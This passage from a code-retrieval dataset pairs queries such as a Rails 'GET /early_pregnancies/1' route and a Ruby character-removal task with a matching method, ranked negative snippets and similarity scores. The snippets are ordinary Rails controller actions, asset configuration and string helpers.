configure_sprockets_helpers\n Sprockets::Helpers.configure do |config|\n case serve_assets\n when \"remote\"\n config.manifest = manifest\n config.debug = false\n config.asset_host = asset_host\n when \"local_static\" \n config.manifest = manifest\n config.debug = false\n config.public_path = public_folder \n end\n config.environment = sprockets\n config.prefix = '/' + prefix\n config.digest = digest \n end\n end", "def digest\n serve_assets == \"local_dynamic\" ? false : true \n end", "def precompile_assets?\n !File.exist? \"public/assets/manifest.yml\"\n end", "def site_asset_url(src)\n rewrite_asset_path(src.expand_url(\"#{account_site_assets_url}/\"))\n end", "def public_assets_path=(path)\n @public_assets_path = path\n end", "def lookup_debug_asset(path, options = T.unsafe(nil)); end", "def assets_to_compile \n return @assets_to_compile if @assets_to_compile \n files = Dir.glob(prefix + \"**/*\").select {|f| File.file?(f)}\n files.collect! { |f| f.gsub(/^#{prefix}\\//, \"\") }\n end", "def lookup_debug_asset(path, options = T.unsafe(nil)); end", "def assets_path path, strict=true\n path_under \"assets\", path, strict\n end", "def asset_file?; end", "def asset_file?; end", "def add_compressed_routes!\n assets.packages.each do |name, package|\n get package.route_regex do\n if defined?(settings.assets.app.clear_tilt_cache) && settings.assets.app.clear_tilt_cache\n AssetPack.clear_tilt_cache!(@template_cache, settings.assets.app)\n end\n\n mtime, contents = @template_cache.fetch(package.path) {\n [ package.mtime, package.minify ]\n }\n\n content_type package.type\n last_modified mtime\n assets_expires\n contents\n end\n end\n end", "def update_asset_settings!\n AssetSettings[:development].files[@file_id] = @sfiles.map(&:local_url)\n return unless AssetMapper.compile?\n\n AssetSettings[:production].files[@file_id] = @cloud_files.map(&:production_url)\n AssetSettings[:production].files[@file_id] << @tfile.production_url if @tfile.production_url\n\n AssetSettings[:local_assets].files[@file_id] = @cloud_files.map(&:local_url)\n AssetSettings[:local_assets][@file_id] << @tfile.local_url if @tfile.local_url\n end", "def assert_usable_configuration!\n if Rails.version > \"3.1.0\" && !Rails.application.config.assets.initialize_on_precompile \n raise(\"Cannot precompile js-routes unless environment is initialized. Please set config.assets.initialize_on_precompile to true.\")\n end\n true\n end", "def asset_base_uri\n \"/#{File.basename(Engines.public_dir)}/#{name}\"\n end", "def processing_image_path(image_name)\n \"/assets/\" + Rails.application.assets.find_asset(image_name).digest_path\n end" ]
[ "0.687086", "0.687086", "0.66199887", "0.6611236", "0.6599043", "0.6400139", "0.6364572", "0.6349223", "0.6336473", "0.633394", "0.6312612", "0.6312612", "0.6312612", "0.6245347", "0.6245347", "0.62412655", "0.62412655", "0.62277174", "0.6225772", "0.62251836", "0.62160224", "0.6199349", "0.6198041", "0.6143934", "0.612656", "0.61169875", "0.6114051", "0.60997236", "0.60820746", "0.6074412", "0.6033336", "0.6029181", "0.60289717", "0.5989738", "0.5985002", "0.59843826", "0.5980019", "0.5980019", "0.5968472", "0.59671324", "0.5966335", "0.5947866", "0.5947866", "0.5908515", "0.5908515", "0.5899255", "0.58954906", "0.589358", "0.5893578", "0.58883053", "0.5880425", "0.5854239", "0.5851705", "0.5851705", "0.58152884", "0.57837284", "0.57837284", "0.5783267", "0.5773476", "0.57437915", "0.57422334", "0.5732157", "0.57288885", "0.5722989", "0.57220507", "0.5715055", "0.5710141", "0.57095146", "0.57018274", "0.5701798", "0.57016265", "0.5690632", "0.56690335", "0.566773", "0.5660122", "0.56369084", "0.56343615", "0.56321526", "0.5631834", "0.5631711", "0.5630113", "0.5625997", "0.56204903", "0.56173444", "0.56132674", "0.56107664", "0.560675", "0.56049514", "0.56025094", "0.55979234", "0.55976474", "0.5597445", "0.55970275", "0.5592106", "0.5578144", "0.5578144", "0.5568664", "0.5567608", "0.5565517", "0.5563713", "0.5561193" ]
0.0
-1
any character existing in remove must be deleted from str. eg "Battle of the Vowels: Hawaii vs. Grozny" and remove "aeiou" => "Bttl f th Vwls: Hw vs. Grzny" Ruby
def remove_str(str, remove) original = str.split(//) deleted = remove.split(//) deleted.each {|char| original.delete(char)} return original.join end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_vowels str\n str.delete \"aeiouAEIOU\"\nend", "def disemvowel(str)\n str = str.delete 'AEIOUaeiou'\nend", "def disemvowel(str)\n str.delete(\"aAeEiIoOuU\")\nend", "def remove(str, char)\n output = \"\"\n i = 0\n while i < str.length\n if str[i] != char\n output << str[i]\n end\n i += 1\n end\n return output\nend", "def remove(str, char)\n i = 0\n new_str = \"\"\n while i < str.length\n if str[i] != char\n new_str += str[i]\n end\n\n i += 1\n end\n\n return new_str\nend", "def disemvowel(str)\n str.delete('aeiouAEIOU')\nend", "def vowel_delete(str)\n str.delete(\"aeiouAEIOU\")\nend", "def vowel_remover string\n string.delete \"aeiouAEIOU\"\nend", "def no_voweles (str)\n p str.delete \"aeiouAEIOU\"\n end", "def remove_vowels string\n string.delete 'aeiouAEIOU'\nend", "def remove_vowels string\n string.delete 'aeiouAEIOU'\nend", "def remove_vowels string \n string.delete \"aeiouAEIOU\"\nend", "def cut_vowels string\n string.delete 'AEIOUaeiou'\nend", "def remove_vowels string\n string.delete \"aeiouAEIOU\"\nend", "def strip_vowels(s)\n s.delete \"aeiouAEIOU\"\nend", "def remove_vowels str\n reggie = /[aAeEiIoOuU]/\n holder_arr = str.split('')\n holder_arr.map! { |letter|\n if reggie.match letter\n letter = ''\n else \n letter\n end\n }\n holder_arr.join('')\nend", "def removeVowels(string)\n string.delete\"a\" \"e\" \"i\" \"o\" \"u\"\nend", "def remove(input, string); end", "def strip_vowels(str)\n str.delete \"aeiouAEIOU\"\nend", "def no_vowels str\n # delete the vowels in the str if str has vowels a, e, i, o, u\n str.delete 'aeiouAEIOU'\nend", "def disemvowel(string)\n string.delete \"aeiouAEIOU\"\nend", "def delete_vowel(string)\n VOWELS.each do |letter|\n if string.match(letter)\n string.delete!(letter)\n end\n end\n string\nend", "def exc_delete(str)\n\tstr.gsub(/[!]/, \"!\" => \" \")\nend", "def remove(string,char)\n if char.length>1\n return \"char can't be longer than one character!\"\n end\n\n i = 0\n output=\"\"\n while i<= string.length-1\n if string[i] != char\n output += string[i]\n end\n i+=1\n end\n return output\nend", "def vowel_removed(string)\n string.delete('aeiouAEIOU')\nend", "def remove_vowels(str) # yellow\n vowel = \"aeiou\"\n removed = \"\"\n str.each_char do |char|\n unless vowel.include?(char)\n removed += char\n end\n end\n return removed\nend", "def remove_vowels(string)\n string.delete('[aeiou]+[AEIOU]+')\nend", "def custom_delete(string, chars)\n new_string = \"\"\n string.each_char do |letter|\n new_string << letter unless chars.include?(letter)\n end\n new_string\nend", "def disemvowel(str)\n new_str = str.gsub(/[aeiouAEIOU]/, '') \n new_str\nend", "def delete_vowels(str)\n p str.delete('aeiou')\nend", "def disemvowel(str)\n # str.gsub(\"aeiou\", \"\")\n # str.split - ['a'],['e'],['i'],['o'],['u'].join(' ')\n # str.tr('aeiou', '').join(' ')\n\n str.tr('aeiouAEIOU', '')\nend", "def remove_char(string, character)\n i = 0\n output = \"\"\n while i < string.length\n if string[i] != character\n output << string[i]\n end\n i += 1\n end\n return output\nend", "def cleanup(str)\n # str.gsub!(/[^a-z]/, ' ').squeeze(' ')\n str.tr_s(' -/:-@[-`{-~', ' ')\nend", "def remove_vowel sentence\n sentence.delete 'aeiou'\nend", "def devowel(str)\n str.delete(VOWELS)\nend", "def remove_vowels(string)\n string.map { |word| word.delete('aeiouAEIOU') }\nend", "def disemvowel str\n\n\tstr.gsub(/[aeiou]/,'')\n\nend", "def custom_delete(string,delete_characters)\nnew_string = \"\"\nstring.each_char {|char| new_string << char unless delete_characters.include?(char)}\nnew_string\nend", "def vowel_delete string\n string.downcase.delete('aeiou')\nend", "def remove(string, char)\n output = \"\"\n i = 0\n while i < string.length\n if string[i] == char\n i += 1\n end\n if i < string.length\n output += string[i]\n end\n i += 1\n end\n return output\nend", "def disemvowl(string)\n vowels = 'aeiou'\n string.each_char { |char|\n string.delete!(char) if vowels.include?(char.titleize)\n }\nend", "def cleanup_noregexp str\n str2 = ''\n str.chars.each do |chr|\n case chr.downcase\n when ('a'..'z')\n str2 << chr\n else\n str2 << ' '\n end\n end\n str2.squeeze(' ')\nend", "def no_vowels str\n p str.delete \"aeiouAEIOU\"\nend", "def vowel_removed string\n string.delete! \"aeiouAEIOU\"\n p string\nend", "def remove_vowels(s)\n s.downcase.delete('aeiou')\nend", "def remove_vowels(sentence)\n sentence.split.map{|word| word.delete\"aeiouyAEIOUY\"}.join(\" \")\nend", "def no_vowels(string)\n string.delete\"aeiouAEIOU\"\n# use the .delete accessor and include uppercase and lower case characters to be deleted\nend", "def vowel string\n # string = string.split(\"\")\n # string = string.downcase\n string = string.delete 'AaEeIiOoUu'\n # string = string.capitalize\n\nend", "def remove_vowels(string)\n string.map do |word|\n word.delete('AEIOUaeiou')\n end\nend", "def remove_char(s)\n # copy the chars at index 1 to but not including the char at index length - 1\n #eg. 'hello' 1= e ... length - 1 = 4\n return s.slice(1, s.length - 2)\nend", "def cleanup(str)\n str.gsub(/[^a-z]/i, '')\nend", "def disemvowel string\n return string.delete \"aeiouAEIOU\"\nend", "def disemvowel(str)\n str.gsub(/[aeiouAEIOU]/,'')\nend", "def no_vowels (str)\n str_array = str.split(' ')\n str_array.delete('a', 'e', 'i', 'o', 'u')\n return str_array.join(' ')\nend", "def remove_char(s)\n s.slice(1..-2)\nend", "def remove_char(s, c)\n s.chars.select{|v| v != c}.join\nend", "def remove_char(string, character)\n i = 0\n while i < string.length\n if character == string[i]\n string[i] = \"\"\n i -= 1\n end\n i += 1\n end\n return string\nend", "def strip(str); end", "def cleanup(str)\n clean = str.chars.map do |char|\n ('a'..'z').include?(char) ? char : ' '\n end\n clean.join.squeeze(' ')\nend", "def disemvowel(str)\n str.gsub /[aeiou]/i, ''\nend", "def remove_vowels(string)\n vowels = ['a', 'e', 'i', 'o', 'u']\n final_string = \"\"\n vowels_used = \"\"\n string.gsub!(\" \", \"\")\n string.each_char do |letter|\n if !(vowels.include?(letter))\n final_string << letter\n else\n vowels_used << letter\n end\n end\n [final_string, vowels_used]\nend", "def remove_string(str, substr)\n output = \"\"\n i = 0\n while i < str.length\n if str[i] == substr[0]\n index = i\n match = true\n j = 0\n while j < substr.length\n if str[i + j] != substr[j]\n match = false\n end\n j+=1\n end\n\n if match == true\n i += substr.length\n end\n end\n output += str[i] unless str[i] == nil\n i+=1\n end\n return output\nend", "def theBeatles string\n string.downcase.delete \"aeiou\"\nend", "def noVowels string\n # # Create a string that contains all the vowels\n # vowels = 'aeiou'\n # # Split the string into an array\n # strArray = string.split('')\n # # Use 'select' to only keep the characters that are not vowels\n # consonantArray = strArray.select { |value| !vowels.include?(value.downcase) }\n # # Join the array into a string\n # consonantsOnly = consonantArray.join('')\n\n #Use the delete method that checks lowercase vowels and uppercase vowels\n string.delete \"aeiouAEIOU\"\n # Implicity return a string with all the vowels removed with the line above\nend", "def remove_vowels(strings) # iterate through each vowel, set parameter to string, return string\n strings.map do |string|\n chars = string.split(\"\") # splitting the string into an array\n VOWELS.each { |vowel| chars.delete(vowel) }\n chars.join(\"\")\n end\nend", "def remove_vowel(sentence)\n sentence.delete('aeiou')\nend", "def cleanup(str)\n letters = (\"a\"..\"z\")\n\n str = str.split(\"\").map do |char|\n p char\n if letters.include?(char)\n char\n else \n \" \"\n end\n end\n\n str = str.join\n\n str.squeeze!(\" \")\nend", "def devowel(str)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"A\", \"E\", \"I\",\"O\", \"U\"]\n\n vowels.each do |ele|\n str.delete!(ele)\n end\n str\nend", "def disemvowel(a_string)\n answer = a_string.delete(\"aeiou\")\n return answer\nend", "def disemvowel(str)\n vowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n (str.chars - vowels).join(\"\")\nend", "def remove_char(s)\n #s = string\n s = s[1..-2]\n return s\nend", "def disemvowel word\n word.delete('aeiou')\nend", "def clean_up_substring(any_char_string)\n clean_string = ''\n any_char_string.chars.each do |char|\n if char =~ /[a-zA-Z\\d]/\n clean_string << char\n end\n end\n clean_string\nend", "def remove_vowels(strings)\n vowels = ['a', 'e', 'i', 'o', 'u']\n new_strings = []\n\n strings.each do |str|\n selected_chars = str.split('').delete_if { |char| vowels.include?(char) }\n new_strings << selected_chars.join('')\n end\n\n new_strings.join(', ')\nend", "def cleanup(str)\n char_clean = []\n str.chars.each do |char|\n if /[a-z]/.match(char)\n char_clean << char\n else\n char_clean << ' ' unless char_clean[-1] == ' '\n end\n end\n char_clean.join\nend", "def cleanup_new(string)\n string.tr(' -/:-@[-`{-~',' ')\nend", "def crunch(str)\n str.chars.map.with_index { |char, idx| char == str.chars[idx + 1] ? 'delete' : char }.select { |l| l unless l == 'delete' }.join\nend", "def elim_vowels(string)\r\n string.downcase.delete(\"aeiou\")\r\nend", "def cleaner(str,char_to_clean = CHAR_CLEAN)\n case char_to_clean\n when \"numbers\"\n clean_str = str.gsub(/\\d/,\"\").downcase\n when \"non-word\"\n clean_str = str.gsub(/\\W/,\"\").downcase\n when \"both\"\n clean_str = str.gsub(/\\d/,\"\").gsub(/\\W/,\"\").downcase\n else\n # Remove nothing but still downcase.\n clean_str = str.downcase\n end\n # Remove any spaceing characters.\n clean_str.gsub!(/\\s/,\"\")\n return clean_str \n end", "def disemvowel string\n\tstring.delete \"aeiouAEIOU\"\nend", "def devowel(str)\n # your code goes here\n return str.delete(\"aeiou\")\nend", "def custom_delete(string, dels)\n new = ''\n string.each_char { |c| new << c unless dels.include?(c)}\n new\nend", "def remove_vowels(str)\n vowels = %w(a e i o u)\n no_vowels_arr = []\n\n str.each do |word|\n new_str = ''\n word.chars.each do |letter|\n if vowels.include?(letter.downcase)\n next\n else\n new_str << letter\n end\n end\n no_vowels_arr << new_str \n end\n no_vowels_arr\nend", "def destructive_uppercase(str)\n str.delete(\"abcdefghijklmnopqrstuvwxyz\")\nend", "def remove(s)\n s.gsub(/!/, '').concat(\"!\")\nend", "def custom_delete(string, delete_characters)\n output = \"\"\n string.each_char { |char| output << char unless delete_characters.include?(char) }\n output\nend", "def cleanup(str)\n\tnew_str = str.gsub(/[^a-z]/i, ' ').split.join(' ')\n\t\" #{new_str} \"\nend", "def cleanup(str)\n str.gsub!(/[^a-z]+/i, ' ') if str.match(/[^a-z]+/i)\n str\nend", "def remove_char(str)\n str[1..-2]\nend", "def replace_char(string, remove, add)\n i = 0\n output = \"\"\n while i < string.length\n if string[i] == remove\n output << add\n else\n output << string[i]\n end\n i += 1\n end\n return output\nend", "def delete_vowels(string)\n #Can't forget capitals!\n puts string.delete(\"a\").delete(\"e\").delete(\"i\").delete(\"o\").delete(\"u\").delete(\"A\").delete(\"E\").delete(\"I\").delete(\"O\").delete(\"U\")\nend", "def cleanup(str)\n str.chars.map { |char| ('a'..'z').include?(char.downcase) ? char : ' ' }.join.squeeze(' ')\nend", "def cleanup(str)\r\n str.gsub!(/[^a-z]/, ' ').squeeze(' ')\r\nend", "def remove_vowels (arr)\n arr.map { |str| str.gsub(/[aeiou]/i,'') }\n # arr.map { |str| str.delete \"aeiouAEIOU\" }\nend", "def remove_char(s)\r\n return s[1..-2]\r\n end", "def disemvowel(str)\n array = str.chars\n array.each_with_index do |char, i|\n if \"aeiouAEIOU\".include?(char)\n array[i] = nil\n end\n end\n\n new_string = array.join\n return new_string\nend", "def vowel_killer\n\"Rubber Soul\".delete \"u\"\n\"Rbber Soul\".delete \"o\"\n\"Rbber Sul\".delete \"u\"\n\"Rbber Sl\".delete \"e\"\nend", "def cleanup(str)\n str\n end", "def remove_char(s)\n s[1..-2]\nend", "def hipsterfy(word)\n chars = word.split(\"\")\n\n i = chars.length - 1\n while i >= 0\n if $vowels.include?(chars[i])\n chars.delete_at(i)\n break\n end\n i -= 1\n end\n\n chars.join(\"\")\nend" ]
[ "0.73357683", "0.71370786", "0.7132476", "0.7121308", "0.71005595", "0.7092973", "0.7079901", "0.70628387", "0.7058515", "0.70107335", "0.70107335", "0.7001405", "0.69934356", "0.69853026", "0.6936308", "0.6925361", "0.6925285", "0.69170123", "0.6890742", "0.68784535", "0.6867629", "0.68489933", "0.68414265", "0.6838897", "0.683539", "0.68270963", "0.67634547", "0.6763265", "0.67457026", "0.67310524", "0.6729171", "0.66923165", "0.6691796", "0.6690849", "0.6649815", "0.6637809", "0.6631972", "0.66243035", "0.6621873", "0.66092646", "0.6607109", "0.65944153", "0.65905637", "0.6585946", "0.6573836", "0.6573752", "0.656973", "0.656967", "0.6542129", "0.6533585", "0.65216565", "0.6517536", "0.6503352", "0.64931583", "0.6490346", "0.64878505", "0.6479281", "0.64761776", "0.64761555", "0.6475261", "0.64591146", "0.6455142", "0.64519805", "0.64393324", "0.6437881", "0.6424694", "0.6423006", "0.6419972", "0.6416956", "0.641577", "0.6413194", "0.641144", "0.6409561", "0.64073277", "0.64052093", "0.6394265", "0.6391124", "0.6386445", "0.6385628", "0.63792795", "0.63737243", "0.63725215", "0.6369979", "0.6364499", "0.63640517", "0.63625443", "0.6353906", "0.6353616", "0.6346001", "0.6332308", "0.632542", "0.6304233", "0.62935585", "0.62918776", "0.6291527", "0.6290323", "0.62874764", "0.62715256", "0.6270399", "0.62700886" ]
0.7808549
0
GET /early_pregnancies/1 GET /early_pregnancies/1.json
def show @early_pregnancy = EarlyPregnancy.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @early_pregnancy } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @early_pregnancy = EarlyPregnancy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @early_pregnancy }\n end\n end", "def create\n @early_pregnancy = EarlyPregnancy.new(params[:early_pregnancy])\n\n respond_to do |format|\n if @early_pregnancy.save\n format.html { redirect_to @early_pregnancy, notice: 'Early pregnancy was successfully created.' }\n format.json { render json: @early_pregnancy, status: :created, location: @early_pregnancy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @early_pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @nepals = Nepal.all\n\n render json: @nepals\n end", "def index\n @pregnancies = @rabbit.pregnancies\n end", "def index\n @previous_parties = PreviousParty.all\n end", "def index\n # @prenotations = Prenotation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prenotations }\n end\n end", "def destroy\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n @early_pregnancy.destroy\n\n respond_to do |format|\n format.html { redirect_to early_pregnancies_url }\n format.json { head :no_content }\n end\n end", "def show\n # render json: @birthday_party\n end", "def index\n @neighborhoods = Neighborhood.alphabetical.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @neighborhoods }\n end\n end", "def show\n @official_tenure = OfficialTenure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @official_tenure }\n end\n end", "def allergies\n raise UserNotAuthenticated unless access_token\n\n get('records/allergies')\n end", "def show\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anniversary }\n end\n end", "def update\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n\n respond_to do |format|\n if @early_pregnancy.update_attributes(params[:early_pregnancy])\n format.html { redirect_to @early_pregnancy, notice: 'Early pregnancy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @early_pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @industries = Industry.order(:short_name_en)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @industries }\n end\n end", "def get_district_rankings ( district_key, year )\n get_api_resource \"#{@@api_base_url}district/#{district_key}/#{year}/rankings\"\n end", "def uni_years\n @uni_years = UniYear.where(university_id: params[:university_id])\n \n respond_to do |format|\n format.json { render json: @uni_years }\n end\n end", "def index\n @birthday_parties = BirthdayParty.includes(cake: :item).order(birth_day: :desc)\n .page(params[:page])\n .per(params[:per])\n end", "def search\n render json: PersonScantronAppointment.first(10)\n end", "def index\n @party_records = PartyRecord.order(\"partySet_id, testident, surname, forename\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @party_records }\n end\n end", "def index\n @precincts = Precinct.all(:order => \"number\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @precincts }\n end\n end", "def get_from_npr(user_ingredients)\n raw_response=RestClient.get('http://api.npr.org/query?id=1139&fields=title,teaser,storyDate,byline,text&date&searchTerm=' + user_ingredients + '&dateType=story&output=JSON&apiKey=MDE5MDExNzc1MDE0MzA0MDE1NTViZDViOQ001')\n response = JSON.load(raw_response)\n\n if response[\"list\"][\"story\"] == nil\n puts \"Your search did not find any recipes...\"\n else\n recipes = response[\"list\"][\"story\"].map do |recipe|\n Recipe.new(\n title = recipe[\"title\"][\"$text\"],\n teaser = recipe[\"teaser\"][\"$text\"],\n link = recipe[\"link\"].first[\"$text\"],\n storyDate = recipe[\"storyDate\"][\"$text\"]\n )\n end\n end\n\nend", "def index\n @families = Family.all.paginate(page: params[:page])\n render json: @families\n end", "def preload\n today = Date.today\n reservations = @location.reservations\n .where(\n 'start_date >= ? ', today\n )\n .select('id, status, start_date')\n\n render json: reservations\n end", "def index\n @parliaments = Parliament.sorted_start_year\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parliaments }\n end\n end", "def index\n @api_v1_initiatives = Api::V1::Initiative.all\n end", "def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end", "def set_pregnancy\n @pregnancy = Pregnancy.find(params[:id])\n end", "def set_pregnancy\n @pregnancy = Pregnancy.find(params[:id])\n end", "def index\n @knowledges = Knowledge.order(\"created_at desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @knowledges }\n end\n end", "def show\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @undergraduate_major }\n end\n end", "def index\n @given_circumstances = GivenCircumstance.all\n render json: @given_circumstances\n end", "def show\n @initiative = Initiative.find(params[:id])\n\n respond_to do |format|\n format.html # _show.html.erb\n format.json { render json: @initiative }\n end\n end", "def index\n respond_with( @nurses = Nurse.asc(:last_name) )\n end", "def show\n @conflict_illness = ConflictIllness.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conflict_illness }\n end\n end", "def index\n @relationships = @relationships.order(created_at: :desc).page(params[:page])\n\n respond_to do |format|\n format.html { @relationships = @relationships.includes(:follower, :followed) }\n format.json {}\n end\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def pending\n @people = Person.where(:key.exists => true).page params[:page]\n @title = 'Listing pending people <small>(who have not confirmed)</small>'\n\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render json: @people }\n end\n end", "def show\n @ongoing = Ongoing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ongoing }\n end\n end", "def show\n @nugget = Nugget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nugget }\n end\n end", "def show\n @thermo_oil_production = ThermoOilProduction.find(params[:id])\n @thermo_oil_production_years = ThermoOilProductionYear.find_all_by_thermoOilProduction_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thermo_oil_production }\n end\n end", "def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end", "def index\n @undergraduate_majors = UndergraduateMajor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @undergraduate_majors }\n end\n end", "def index\n @specialties = Specialty.all\n\n render json: @specialties\n end", "def show\n @residence = Residence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @residence }\n end\n end", "def show\n @national_rank = NationalRank.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @national_rank }\n end\n end", "def show\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preceed }\n end\n end", "def show\n @prioridade = Prioridade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prioridade }\n end\n end", "def index\n confessions = Confession.all.order(\"created_at DESC\")\n\n render json: confessions\n end", "def reporte_clientes_nuevos\n\t\tcurrent_year = params[:year].to_i\n\t\tdata = FacturasRecibidas.reporte_clientes_nuevos_por_mes(current_year)\n\t\trender :json => data\n\tend", "def situations_arrivals_countries_three\n @situations_arrivals_countries = SituationsArrivalsCountry.where(status:true, id: [1,2,3]).order('name ASC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situations_arrivals_countries}\n end\n end", "def ppg_status\n params[:page] ||= 1\n\n default_ppg_status_code = \"1\"\n @ppg_status_code = params[:ppg_status_code] || default_ppg_status_code\n\n result = PpgStatusHistory.current_ppg_status.with_status(@ppg_status_code).select(\"distinct ppg_status_histories.*, people.last_name\").joins(\n \"inner join participant_person_links on participant_person_links.participant_id = ppg_status_histories.participant_id\n inner join people on people.id = participant_person_links.person_id\"\n ).where(\"participant_person_links.relationship_code = '1'\").order(\"people.last_name\")\n @ppg_statuses = result.paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => result.all }\n end\n end", "def show\n @precinct = Precinct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @precinct }\n end\n end", "def index\n @inciting_incidents = IncitingIncident.all\n render json: @inciting_incidents\n end", "def show\n @personnage = Personnage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personnage }\n end\n end", "def show\n @nlp = Nlp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nlp }\n end\n end", "def search\n render json: PersonEvent.first(10)\n end", "def index\n @parties = Party.order(:name).all\n\n respond_to do |format|\n format.html\n format.json { render json: @parties }\n format.xml { render xml: @parties }\n end\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def least_popular_for_year\n limit = set_limit\n @names = Year.least_popular_for_year(params[:year], limit)\n render json: @names, each_serializer: YearNameSerializer, :callback => params[:callback]\n end", "def unassigned\n @eobs = Eob.unassigned\n puts @eob.inspect\n @title = \"Unassigned EOB's\"\n @subtitle = \"Link the EOB to an open claim\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eobs }\n end\n end", "def index\n @fdn_org_hierarchies = Fdn::OrgHierarchy.paginate(:page => params[:page]).order(\"created_by DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fdn_org_hierarchies }\n end\n end", "def show\n if (params[:redirect] == \"on\")\n sql = <<-SQL\n with src AS (SELECT daughters(ear_num)\n FROM kine WHERE id = #{params[:id]})\n select json_agg(src) FROM src;\n SQL\n render json: ActiveRecord::Base.connection.select_value(sql)\n end\n end", "def index\n @career_specialties = CareerSpecialty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @career_specialties }\n end\n end", "def new\n @official_tenure = OfficialTenure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @official_tenure }\n end\n end", "def index\n @outgoings = Outgoing.where(:year_at => Date.current.year).order(:created_at)\n @user = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outgoings }\n end\n end", "def index\n @countries = Country.all\n\n render json: @countries\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def index\n @person_expense_records = PersonExpenseRecord.all\n\n render json: @person_expense_records\n end", "def index\n @countries = Country.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @countries }\n end\n end", "def index\n\n @houses = House.page(params[:page]).per(House::PER_PAGE_COUNT)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @houses }\n end\n end", "def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end", "def index\n @nearbies = Nearby.all\n end", "def show\n render json: @person_expense_record\n end", "def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end", "def index\n @language_proficiencies = @person.language_proficiencies\n end", "def show\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apprentice }\n end\n end", "def index\n @engravings = Engraving.all.paginate(page: params[:page], per_page: 50).order('name ASC')\n end", "def index\n @all_taxons_seen = Taxon.species_seen.not_excluded\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @all_taxons_seen }\n end\n end", "def index\n @pricings = Pricing.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @pricings\n end", "def natural_disqualified(officer_id)\n client.get(\"/disqualified-officers/natural/#{officer_id}/\")\n end", "def year_ranking\n ranked_albums = SortCollection.sort_albums('year')\n render json: ranked_albums.sort_by(&:last).reverse[0...5].to_h, status: 200\n end", "def new\n @anniversary = Anniversary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @anniversary }\n end\n end", "def show\n @natural_disaster_categories = NaturalDisasterCategory.find(params[:id])\n @disaster = Disaster.find(params[:id])\n\n respond_to do |format|\n format.html {render :show}\n format.json {render json: @disaster}\n end\nend", "def index\n @incomes = Income.all\n\n respond_to do |format|\n format.json { render json: @incomes }\n end\n end", "def show\n @missing_person = MissingPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @missing_person }\n end\n end", "def show\n eps = EpV2.select(\"id,title,prelink\").where(\"show_id = #{params[:id]}\")\n .order(\"id 